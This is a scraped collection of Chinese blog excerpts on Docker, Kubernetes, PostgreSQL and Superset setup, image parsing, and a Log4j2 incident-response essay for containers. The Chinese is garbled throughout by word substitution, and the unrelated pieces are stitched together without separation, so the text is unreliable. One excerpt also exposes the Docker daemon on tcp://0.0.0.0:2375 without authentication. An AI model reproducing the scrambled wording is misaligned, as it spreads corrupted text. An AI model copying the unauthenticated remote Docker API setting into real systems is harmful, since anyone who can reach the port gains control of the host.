make bzip2 # 装置依赖包cd /opt/cp centos/postgresql-12.2.tar.bz2 .tar -xvf postgresql-12.2.tar.bz2 # 解压文件ln -s postgresql-12.2 postgresqlmkdir -p pgdata/pg5432cd pgdata/pg5432mkdir -p {data,backups,scripts,archive_wals}cd /opt/postgresql/opt/postgresql/configure --prefix=/opt/postgresql #编译、装置makemake installuseradd postgrescd /optchown -R postgres:postgres p*postgres用户用户执行如下命令/opt/postgresql/bin/initdb -D /opt/pgdata/pg5432/data #初始化数据库mkdir /opt/pgdata/pg5432/logs/opt/postgresql/bin/pg_ctl -D /opt/pgdata/pg5432/data -l /opt/pgdata/pg5432/logs/startlogs.log start & #启动数据库验证more /opt/pgdata/pg5432/scripts/startServer5432.sh # 新建启动文件/opt/postgresql/bin/pg_ctl -D /opt/pgdata/pg5432/data -l /opt/pgdata/pg5432/logs/startlogs.log start &root用户用户执行如下命令/root/dockerStart/start.sh # 创立启动脚本#!/bin/bashsu - postgres -c "/opt/pgdata/pg5432/scripts/startServer5432.sh"退出容器后在宿主机执行如下命令: ...

应用 Docker 装置 Superset第一步须要装置 Docker Engine 和 Docker Compose，在 Mac 上，能够应用 Docker Desktop，其中包含了 Docker Engine 和 Docker Compose。装置好 Docker 后，须要进入 Docker 设置将默认的内存设置为 6 GB克隆 Superset 的仓库到本地:$ git clone https://github.com/apache/superset.git将仓库拷贝到本地后，执行上面两条语句：docker-compose -f docker-compose-non-dev.yml pulldocker-compose -f docker-compose-non-dev.yml up对于 docker compose 的 CLI 命令参数与相干的解释，参考 Overview of docker-compose CLI. 如果须要指定版本的 superset，须要在这一步指定，办法是在后面加上 tag 参数: git checkout 1.4.0TAG=1.4.0 docker-compose -f docker-compose-non-dev.yml pullTAG=1.4.0 docker-compose -f docker-compose-non-dev.yml up在启动日志中，可能会看到检测到默认的 secret string，提醒咱们应用本人生成的字符，还贴心的给了咱们生成示例。 openssl rand -base64 42其次，superset_worker 提醒咱们在应用超级用户启动 worker, 并提醒: You're running the worker with superuser privileges: this is absolutely not recommended!"Please specify a different user using the --uid option.User information: uid=0 euid=0 gid=0 egid=0咱们之后再来看这个问题。 ...

开启docker的近程拜访deepin 20.*: sudo vi /lib/systemd/system/docker.serviceubuntu: sudo vi /lib/systemd/system/docker.service在ExecStart语句中退出-H tcp://0.0.0.0:2375实际效果：ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock保留重启服务 sudo systemctl daemon-reloadsudo service docker restart测试近程拜访设置IDEA: IDEA配置公布工作： #DockerFile内容#根底镜像，如果本地没有，会从近程仓库拉取。FROM amazoncorretto:11MAINTAINER Starzkg# 批改编码ENV LANG=zh_CN.UTF-8# 对立容器与服务器工夫ENV TZ=Asia/ShanghaiRUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone# Spring Boot 环境设置ENV SPRING_PROFILES_ACTIVE=dev# 复制以后我的项目target/spring-boot-demo.jar到容器中COPY ./target/demo-0.0.1-SNAPSHOT.jar app.jar# 凋谢端口EXPOSE 8080ENTRYPOINT ["java","-jar","app.jar"]

在一些企业的公有环境中可能无奈连贯内部的网络。如果要在这样的环境中部署Kubernetes集群，能够采集Kubernetes离线装置的形式进行部署。即：应用二进制安装包部署Kubernetes集群，采纳的版本是Kubernetes v1.18.20。 上面通过具体的步骤来演示如何应用二进制包部署三个节点的Kubernetes集群。 1. 部署ETCD（1）从GitHub上下载ETCD的二进制安装包“etcd-v3.3.27-linux-amd64.tar.gz”。 （2）从cfssl官方网站上下载所须要的介质，并装置cfssl。 chmod +x cfssl_linux-amd64 cfssljson_linux-amd64mv cfssl_linux-amd64 /usr/local/bin/cfsslmv cfssljson_linux-amd64 /usr/local/bin/cfssljson提醒： cfssl是一个命令行工具包，该工具包蕴含了运行一个认证核心所须要的全副性能。（3）创立用于生成CA证书和私钥的配置文件，执行上面的命令： mkdir -p /opt/ssl/etcdcd /opt/ssl/etcdcfssl print-defaults config > config.jsoncfssl print-defaults csr > csr.jsoncat > config.json <<EOF{ "signing": { "default": { "expiry": "87600h" }, "profiles": { "kubernetes": { "usages": [ "signing", "key encipherment", "server auth", "client auth" ], "expiry": "87600h" } } }}EOFcat > csr.json <<EOF{ "CN": "etcd", "key": { "algo": "rsa", "size": 2048 }, "names": [{ "C": "CN", "ST": "BeiJing", "L": "BeiJing", "O": "k8s", "OU": "System" }] }EOF（4）生成CA证书和私钥。 ...

长期应用装置工具进行装置docker，明天用二进制形式手动装置一下docker环境。 二进制包下载地址：https://download.docker.com/linux/static/stable/x86_64/#解压tar xf docker-20.10.9.tgz #拷贝二进制文件cp docker/* /usr/bin/#创立containerd的service文件,并且启动cat >/etc/systemd/system/containerd.service <<EOF[Unit]Description=containerd container runtimeDocumentation=https://containerd.ioAfter=network.target local-fs.target[Service]ExecStartPre=-/sbin/modprobe overlayExecStart=/usr/bin/containerdType=notifyDelegate=yesKillMode=processRestart=alwaysRestartSec=5LimitNPROC=infinityLimitCORE=infinityLimitNOFILE=1048576TasksMax=infinityOOMScoreAdjust=-999[Install]WantedBy=multi-user.targetEOFsystemctl enable --now containerd.service筹备docker的service文件 #筹备docker的service文件cat > /etc/systemd/system/docker.service <<EOF[Unit]Description=Docker Application Container EngineDocumentation=https://docs.docker.comAfter=network-online.target firewalld.service containerd.serviceWants=network-online.targetRequires=docker.socket containerd.service[Service]Type=notifyExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sockExecReload=/bin/kill -s HUP $MAINPIDTimeoutSec=0RestartSec=2Restart=alwaysStartLimitBurst=3StartLimitInterval=60sLimitNOFILE=infinityLimitNPROC=infinityLimitCORE=infinityTasksMax=infinityDelegate=yesKillMode=processOOMScoreAdjust=-500[Install]WantedBy=multi-user.targetEOF#筹备docker的socket文件cat > /etc/systemd/system/docker.socket <<EOF[Unit]Description=Docker Socket for the API[Socket]ListenStream=/var/run/docker.sockSocketMode=0660SocketUser=rootSocketGroup=docker[Install]WantedBy=sockets.targetEOF启动验证 #创立docker组groupadd docker#启动dockersystemctl enable --now docker.socket && systemctl enable --now docker.service#验证docker info创立docker配置文件 cat >/etc/docker/daemon.json <<EOF{ "exec-opts": ["native.cgroupdriver=systemd"], "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "http://hub-mirror.c.163.com" ], "max-concurrent-downloads": 10, "log-driver": "json-file", "log-level": "warn", "log-opts": { "max-size": "10m", "max-file": "3" }, "data-root": "/var/lib/docker"}EOFsystemctl restart docker ...

volumeDockerfile中 VOLUME 形式挂载到宿主机上的是匿名卷，在宿主机上是主动匿名挂载到 /var/lib/docker/volumes/ 目录下的，代码如下： FROM frolvlad/alpine-java:jre8-slimMAINTAINER oas.cloudCOPY nickdir .VOLUME /usr/local/oas/file/WORKDIR /usr/local/oas/上述 VOLUME /usr/local/oas/file/ 定义的是容器内目录所在门路，在容器创立过程中会在容器中创立该目录，而宿主机上的挂载目录名是随机生成的，例如： /var/lib/docker/volumes/593fda6d7b8296bfca22894b326727c734133eebb11c9bc2c25a73b892157a37下面的目录位于宿主机，对应容器中的 /usr/local/oas/file/ 目录。 docker run -vdocker -v 能够指定挂载到宿主机的具体目录，绝对于Dockerfile的 VOLUME 挂载形式更具备可控性，代码如下： $ docker run —name tengine-web -d -p 9527:80 -p 9000:9000 \-v /usr/local/tengine/logs:/var/log/nginx \-v /usr/local/tengine/conf.d:/etc/nginx/conf.d \-v /usr/local/tengine/conf/nginx.conf:/etc/nginx/nginx.conf \-v /usr/local/tengine/html:/usr/share/nginx/html \-v /usr/local/oas/file:/usr/local/oas/file nginx上述命令就能够将宿主机的 /usr/local/tengine/logs 等目录挂载到容器的 /var/log/nginx 等对应目录，冒号前为宿主机目录（绝对路径），冒号后为镜像内挂载的门路（绝对路径）。 本文内容均援用自：Dockerfile 中 VOLUME 与 docker -v 的区别阐明

默认ubuntu的docker镜像的apt软件源在国内拜访过慢，常常会导致装置失败，这里应用sed命令对apt软件源进行替换，换成阿里的apt软件源，这个办法在装置ubuntu零碎的中央都能够应用。sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.listsed -i s@/security.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.listapt-get cleanapt-get update

前言近年来，云原生架构被宽泛的部署和应用，业务容器化部署的比例逐年进步，对于突发重大破绽等0day安全事件，往往给平安的应急带来重大的挑战。例如前段时间广受影响的重大破绽的暴发，能够说是云原生架构下平安建设和平安经营面临的一次大考。 本文将以该高危任意代码执行破绽作为案例，分享云原生架构下的平安建设和平安经营的思考。 破绽处理回顾破绽暴发后，第一工夫关注的肯定是攻击者是否利用破绽攻打业务零碎，能够通过哪些形式施行攻打。对于容器环境，从攻打视角来看，通常能够有以下几种入侵路径。 图1 1）通过容器主机施行攻打。这种通常是因为主机配置问题引起，例如对公网凋谢并且未开启认证的Docker RemoteAPI，或者是未开启认证的Kubernetes API Server。 2）通过软弱的容器施行攻打。这种类型攻打次要以容器环境中部署应用程序的脆弱性作为攻打突破口。 3）通过投毒的镜像施行攻打。次要通过对公共仓库中的镜像进行投毒，当镜像被拉取运行时，即可执行相干的攻打操作。 攻击者能够做什么？本次log4j2破绽的影响，次要是体现在第二种攻击方式上，也就是攻击者会通过受影响的应用程序，利用破绽对容器化的利用施行攻打。 一旦第一步破绽利用胜利，接下来就会依照通常的浸透攻打逻辑，一方面在主机执行恶意程序；另一方面通过横向挪动，扩充攻打范畴，这里的横向挪动既会波及主机层面的容器逃逸，也包含东西向网络层面的挪动攻打。 如何疾速响应处理？云原生架构下，在破绽的应急响应上，总体思路和传统安全事件的应急是统一的。首先须要对破绽的原理以及可能被利用的形式进行剖析，确定修复和缓解计划，同时制订相干平安产品的防护规定，实现对破绽利用的检测和拦挡，最初就是井井有条的进行破绽的修复和处理。 在容器环境中，具体能够梳理出如下的一些要害操作步骤： 首先，须要确定现有业务的受影响范畴。例如：确定仓库中所有受破绽影响的镜像，确定受影响的线上业务；其次，降级相干平安产品的防护策略。例如通过WAF规定以及防火墙规定等实现对破绽利用的攻打进行肯定水平的暂时性拦挡；必要时降级运行时检测策略，一旦入侵胜利，能够疾速的发现并进行处理。最初，就是修复破绽，降级到官网公布的修复版本。为什么不容易平安应急或者平安经营的效率，很大水平上依赖平安能力的建设。上述处理步骤，相对来说是现实状况下的一种处理流程，或者是须要在一套欠缺的平安能力建设根底之上才能够轻松施行的处理流程。 依据腾讯云在2021年11月份公布的《腾讯云容器平安白皮书》显示，以后云原生用户在平安能力的建设上堪称是参差不齐，像镜像破绽扫描、主机平安加固以及集群监控审计等根底平安能力，落地部署的比例也仅仅只有50%左右，甚至有7%的用户在云原生的应用时没有任何平安能力的部署。 图2 因而，在这样的现状下，面对log4j2这样的0day破绽，在应急处理上，难免会呈现各种顾此失彼的问题。 管制影响范畴对于破绽的处理，首先就是管制破绽影响范畴。因为破绽的修复须要肯定的工夫周期，像log4j2这种应用范畴如此之广的组件，甚至有预测，破绽影响将会继续很长一段时间，因而管制新的影响资产减少也是非常重要的。 这里次要体现在两个方面： （1）避免蕴含破绽镜像的入库。CI集成以及镜像入库等阶段，须要严格进行安全检查，避免破绽的引入。 （2）避免蕴含破绽镜像的运行。在新的服务启动运行时，须要检测相干镜像是否蕴含破绽，对于未通过平安检测的镜像，要严格阻止其启动运行。 怎么确定受影响范畴1）辨认所有受到破绽影响的镜像 在确定业务的受影响范畴时，如果部署了容器镜像平安扫描的能力，平安厂商通常会在第一工夫更新破绽库或检测规定，用户能够间接通过对镜像仓库的所有镜像进行扫描发现受影响的镜像。 如果没有部署镜像平安扫描，腾讯云容器平安服务提供7天的收费试用，用户能够通过其中的镜像扫描性能，对镜像资产进行排查。最差状况下，用户能够应用开源的镜像扫描工具（例如Clair/Anchore/Trivy等）进行问题排查，然而有一点须要留神，应用开源工具前，要确保破绽库或者检测规定曾经蕴含了对指标破绽的检测。 2）辨认受影响的运行工作负载 当确定了受影响的镜像后，就须要依据这个列表确定受影响的线上业务。如果咱们的日常平安经营做的足够欠缺，实践上这个列表跟受影响的业务列表应该是统一的。或者是咱们须要部署相应的平安能力，实现镜像资产到线上业务资产的映射。 如果这些都没有的话，就须要一一集群的检索以后应用的镜像，判断其是否受到影响，例如能够应用“kubectl describe pods --all-namespaces| grep image”这种最粗犷的指令获取集群运行业务所应用的所有镜像。 到这里咱们发现，如果仓库中镜像的数量太多，其实也能够采纳另一种思路，先应用相似“kubectl describe pods --all-namespaces| grep image”这样的命令，一一集群查问到所有线上业务应用的镜像，而后对于这些镜像定向的进行破绽检测。 怎么修复面对破绽的暴发，所有人都心愿能充沛理解这个破绽，并在第一工夫应用对应的补丁解决问题。可怜的是：一方面，软件开发和测试须要工夫周期，破绽的修复不会那么快；另一方面，在微服务架构下，受影响的镜像可能会十分多，这同样给破绽的修复带来很大的挑战。 因而，在破绽修复的同时，咱们能够通过倡议的缓解措施进行缓解，例如，对于log4j2破绽，能够增加jvm启动参数： -Dlog4j2.formatMsgNoLookups=true进行临时的缓解。 然而，在云原生架构下，应用程序的启动命令以及运行参数等信息，都是间接打包在镜像中，这样又回到前文提到的问题，如果受影响的镜像数量十分宏大的时候，这种长期的缓解措施在施行起来也将面临重大的挑战。 在云原生架构下，咱们看到能够有几种针对破绽的缓解性操作： （1）批改线上运行环境 咱们能够通过kubectl edit pod…命令，批改线上服务Pod的运行参数，实现破绽的缓解。针对批量的运行参数批改，咱们也推出了一个开源的工具 。 值得注意的是，上述处理形式在批改完参数之后，会主动重启服务，用户在应用时，需评估相应的重启危险。 图3 （2）利用破绽个性缓解 以log4j2为例，这是个近程任意代码执行的破绽，简略来说，就是在打印日志时，如果发现日志内容中蕴含关键词 ${，那么这个外面蕴含的内容会当做变量来进行替换，导致攻击者能够任意执行命令。 因而在进行破绽缓解时，能够利用破绽的这一个性，将缓解指令通过破绽传进去，实现利用破绽来缓解破绽的成果。 这种办法针对不同的破绽，不具备普适性。 （3）破绽利用的阻止 后面两种操作，都是从破绽自身登程，通过缓解形式，使得破绽不能被利用。另外一种缓解措施就是一旦前述缓解措施生效或被绕过，能够在破绽利用的要害门路上，进行操作的拦挡，从而达到破绽缓解的成果。 这种操作对平安能力有肯定的依赖，一方面，平安能力须要可能检测出破绽利用的行为，另一方面，须要可能精准的对过程行为进行阻断。尤其是对于log4j2这种任意代码执行的破绽，破绽利用的检测对平安能力有着较高的要求。 通过上述几种长期缓解措施后，接下来咱们须要做的就是，联合线上环境应用的镜像以及业务重要性和优先级等因素，井井有条的将受影响的组件降级至官网公布的稳固修复版本。 云原生架构下平安经营的挑战和劣势从上述破绽处理的过程咱们能够发现，云原生架构下在破绽的处理修复上，容器环境既面临肯定的挑战，同时也有着肯定的劣势。 挑战1）镜像数量大。一方面，因为log4j2自身就是利用范畴很广的组件，而且在微服务架构下，利用又会进行很多细粒度的微服务拆分，因而在仓库中会受影响的镜像会波及到很多个Repositories；另一方面，因为DevOps等麻利开发流程的应用，镜像仓库中的每一个镜像又会有很多个版本（每个Repository有很多个Tags）。因而，在破绽处理的过程中会发现，扫描进去的受影响镜像数量微小。 2）僵尸镜像。所谓的僵尸镜像，其实能够了解为存储在仓库中的旧版本镜像，或者过期镜像，曾经简直不会再被运行应用。如果对仓库中的镜像没有很好的管理机制，这种僵尸镜像的数量也会十分大。这种景象其实也很好了解，DevOps带来业务疾速的迭代，天然就会产生大量的过期镜像。 在惯例的平安经营中，这些僵尸镜像原则上是应该及时被革除的（不须要思考备份回滚的问题，代码仓库会有），这种革除操作不仅仅是须要笼罩镜像仓库，同样实用于主机上的僵尸镜像。 3）不可变基础设施。云原生架构的一个典型特色就是不可变的基础设施，所谓的不可变基础设施，是指一旦部署了服务之后决不允许被批改。如果须要以任何形式更新、修复或批改某些内容，则须要批改绝对应的镜像，构建全新的服务镜像来替换旧的须要扭转的服务镜像，通过验证后，应用新的镜像重新部署服务，而旧的则会被删除。 这种个性，给咱们针对线上业务在进行破绽缓解的时候带来了很大的不便。一方面体现在批改利用的运行参数和环境变量等信息上；另一方面体现在这种缓解措施的批改，会引发运行时平安的再次告警，因为这种操作违反了不可变基础设施的要求，不是失常的业务操作流程。 劣势• 资产可视化，疾速定位。资产问题始终是平安建设和平安经营中重要的问题，同时也是最让人头疼的问题。云原生架构很好的解决了资产的问题，通过Kubernetes等编排平台以及镜像仓库等组件，能够让咱们疾速的进行资产梳理、问题定位。 ...

之前都是间接用公司的DevOps来打包公布，对容器镜像相干并不理解，当初开始从零学习相干常识（ 争脸-_-|| ）。1. 创立maven我的项目1. 从spring initializr下载webflux空我的项目 2. 增加测试接口@SpringBootApplicationpublic class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @Bean public RouterFunction<ServerResponse> routerFunction() { return RouterFunctions.route(RequestPredicates.path("/demo/hello/{name}"), request -> ServerResponse.status(HttpStatus.INTERNAL_SERVER_ERROR) .body(Mono.just("hello " + request.pathVariable("name")), String.class) ); }}启动我的项目并拜访http://localhost:8080/demo/hello/name，浏览器显示hello name。 2. 创立docker镜像1. 创立Dockerfile文件这里间接用了公司的jdk11根底镜像： #tencent konajdk11FROM xxxx.xxxx.com/tjdk/tencentkona11LABEL maintainer="xxxx@tencent.com"# 我的项目放在指定目录下RUN mkdir -p /appADD target/*.jar /app#encoding settingsENV LANG en_US.UTF-8ENV LANGUAGE en_US:enENV LC_ALL en_US.UTF-8WORKDIR /appCMD java -Dfile.encoding=utf-8 \ -jar /app/demo-webflux-*.jar2. 构建镜像将我的项目打包好的jar文件和Dockerfile文件上传到测试服务器。(开发机上没装置docker，专门申请了台测试服务器来做测试，测试服务器装置了docker)。 因为测试推送到公司的外部仓库，先在命令行上登录仓库： docker login xxx.xxx.com构建镜像 docker build -t xxx.xxx.com/xxx-dev/demo-webflux:latest -f Dockerfile .推送到仓库 ...

简介：容器镜像在咱们日常的开发工作中占据着极其重要的地位。通常状况下咱们是将应用程序打包到容器镜像并上传到镜像仓库中，在生产环境将其拉取下来。而后用 docker/containerd 等容器运行时将镜像启动，开始执行利用。然而对于一些运维平台来说，对于一个镜像制品自身的扫描和剖析才是真正的关注点。本文简略介绍下如何在代码中解析一个容器镜像。 作者 | 牧琦起源 | 阿里技术公众号 一 背景容器镜像在咱们日常的开发工作中占据着极其重要的地位。通常状况下咱们是将应用程序打包到容器镜像并上传到镜像仓库中，在生产环境将其拉取下来。而后用 docker/containerd 等容器运行时将镜像启动，开始执行利用。然而对于一些运维平台来说，对于一个镜像制品自身的扫描和剖析才是真正的关注点。本文简略介绍下如何在代码中解析一个容器镜像。 二 go-containerregistrygo-containerregistry 是 google 公司的一个开源我的项目，它提供了一个对镜像的操作接口，这个接口背地的资源能够是 镜像仓库的近程资源，镜像的tar包，甚至是 docker daemon 过程。上面咱们就简略介绍下如何应用这个我的项目来实现咱们的指标—— 在代码中解析镜像。 除了对外提供了三方包，该我的项目外面还提供了 crane （与远端镜像交互的客户端）gcrane (与 gcr 交互的客户端)。 三 根本接口1 镜像基本概念在介绍具体接口之间先介绍几个简略概念 ImageIndex， 依据 OCI 标准，是为了兼容多架构（amd64, arm64）镜像而发明进去的数据结构, 咱们能够在一个ImageIndex 外面关联多个镜像，应用同一个镜像tag，客户端（docker，ctr）会依据客户端所在的操作系统的基础架构拉取对应架构的镜像下来Image Manifest 基本上对应了一个镜像，外面蕴含了一个镜像的所有layers digest，客户端拉取镜像的时候个别都是先获取manifest 文件，在依据 manifest 文件外面的内容拉取镜像各个层（tar+gzip）Image Config 跟 ImageManifest 是一一对应的关系，Image Config 次要蕴含一些 镜像的根本配置，例如 创立工夫，作者，该镜像的基础架构，镜像层的 diffID（未压缩的 ChangeSet），ChainID 之类的信息。个别在宿主机上执行 docker image 看到的ImageID就是 ImageConfig 的hash值。layer 就是镜像层，镜像层信息不蕴含任何的运行时信息（环境变量等）只蕴含文件系统的信息。镜像是通过最底层 rootfs 加上各层的 changeset（对上一层的 add, update, delete 操作）组合而成的。layer diffid 是未压缩的层的hash值，常见于 本地环境，应用 看到的便是diffid。因为客户端个别下载 ImageConfig, ImageConfig 外面是援用的diffid。layer digest 是压缩后的层的hash值，常见于镜像仓库 应用 看到的layers 个别都是 digest. 因为 manifest 援用都是 layer digest。两者没有能够间接转换的形式，目前的惟一形式就是依照程序来对应。用一张图来总结一下。 ...

摘要：姑苏城外寒山寺，日班终生Docker船。 一个淘气的小伙问我： 好久不见阳哥，他在闭关练宝典神功？ 小样的，Cosplay pig eat tiger！ 来尚硅谷，让阳哥唱歌给你听： 小燕子，穿花衣，我问燕子你为啥来？ 燕子说，管好你本人。 阳哥一怄气，把你做成甜面酱， 蘸着Beijing gagaga吃了。 生存如此美妙，世界如此微妙， 珍惜生命，不要调侃阳哥。 阳哥有多狠，说进去你不敢信。 想当年，阳哥早晨堵住了阳嫂： “我看你有几分姿色， “我心动了， “你本人想方法爱上我。 “十四亿人里，只相中了你， “心愿你不要不识好歹， “别把路走窄了。” 阳嫂过后就懵了，大受震撼， 心想：完了，芭比Q了。 扭头转身就想开溜…… 阳哥大喝一声：不许动！ 这么晚了，让你一个人回家我不甘心。 阳嫂急了：“你这么做值得吗？” 阳哥一脸真挚，温顺似水泥： “你问我爱你值不值得， “其实你应该晓得， “爱就是不问值得不值得。” 一席话讲完，他唱起了歌： “微微敲醒沉睡的心灵， “缓缓张开你的眼睛， “看看繁忙的世界， “我仍然孤单的转个不停。 “春风不解风情， “吹动骚年的心……” 阳哥在树上刻下单方的名字， 浪漫的爱情故事自此开始了。 我问阳嫂，当年打动吗？ 阳嫂说：“面对一个表白带着刀子的人， 我真不太敢动。” 听至此，我想起了一个人： 纵横江湖三十余载， 杀尽仇寇，败尽英雄， 天下更无抗手，无可奈何， 惟隐居深谷，以雕为友。 呜呼！生平求一敌手而不可得， 诚寂寥难堪也。 阳哥出手，寸草不生！ 搞对象和搞对象，阳哥同样执着， 这么说吧，看他敲代码我都颤抖。 阳哥闭关多日重出江湖， 誓要掀起一波血雨腥风： Docker与微服务实战教程公布！ 2022开篇之作，Docker与微服务实战教程姑苏城外寒山寺，日班终生Docker船。近年来，容器技术在互联网行业大火，特地是在开发和运维方向，极大地解决了规模化和灵活化部署的问题，作为容器技术的代表作Docker更是被广泛应用。 本套教程为2018版尚硅谷Docker经典视频的全新降级，根底篇进行了更加粗疏且深度的解说，并新增了大厂进阶篇，技术点从入门到高级全面笼罩！教程同时实用于零根底小白和已相熟Docker的使用者，可各取所需，有选择性和针对性的学习，哪里不会点哪里。 根底篇自容器和镜像的概念讲起，从Docker开发环境的搭建，到容器仓库的治理操作，再到日常开发软件部署等均有具体解说，通过案例驱动，落地阿里库和公有库的镜像推送，实现容器合作流程。 进阶篇详解亿级分布式缓存的集群容器化部署案例，Dokcerfile的语法编写，联合微服务公布镜像到Docker的实战需要，同时降级docker-compose实现一键部署多个微服务，再用Portainer和CAdvisor + InfluxDB + Granfana实现容器的可视化统计和监控配置。 通过本套教程的学习，你将零碎把握容器技术，从Docker菜鸟到Docker老鸟，成为云原生时代的高级开发人员！ 新版Docker教程简介https://www.bilibili.com/vide... 关注尚硅谷B站官网账号，一手最新视频教程领先看！ ...

对于如何批改容器内容能够参考上篇。1,批改完容器内容后须要先commit生成一个不同tag的镜像。 sudo docker commit change_router wxm888/docker_demo_koa:1.0.12,查看生成胜利 kason@kason-virtual-machine:~/work/docker_demo$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZEwxm888/docker_demo_koa 1.0.1 d0a53bc34108 53 seconds ago 69.8MBdocker_demo latest af2b81db3efe About an hour ago 69.8MBwxm888/docker_demo_koa latest af2b81db3efe About an hour ago 69.8MBwxm888/test03 v3 507c0d3b8f81 2 weeks ago 921MBnode 8.9-alpine 406f227b21f5 3 years ago 68.1MB3,docker login登录4,docker push推送到docker hub sudo docker push wxm888/docker_demo_koa:1.0.1![上传中...]()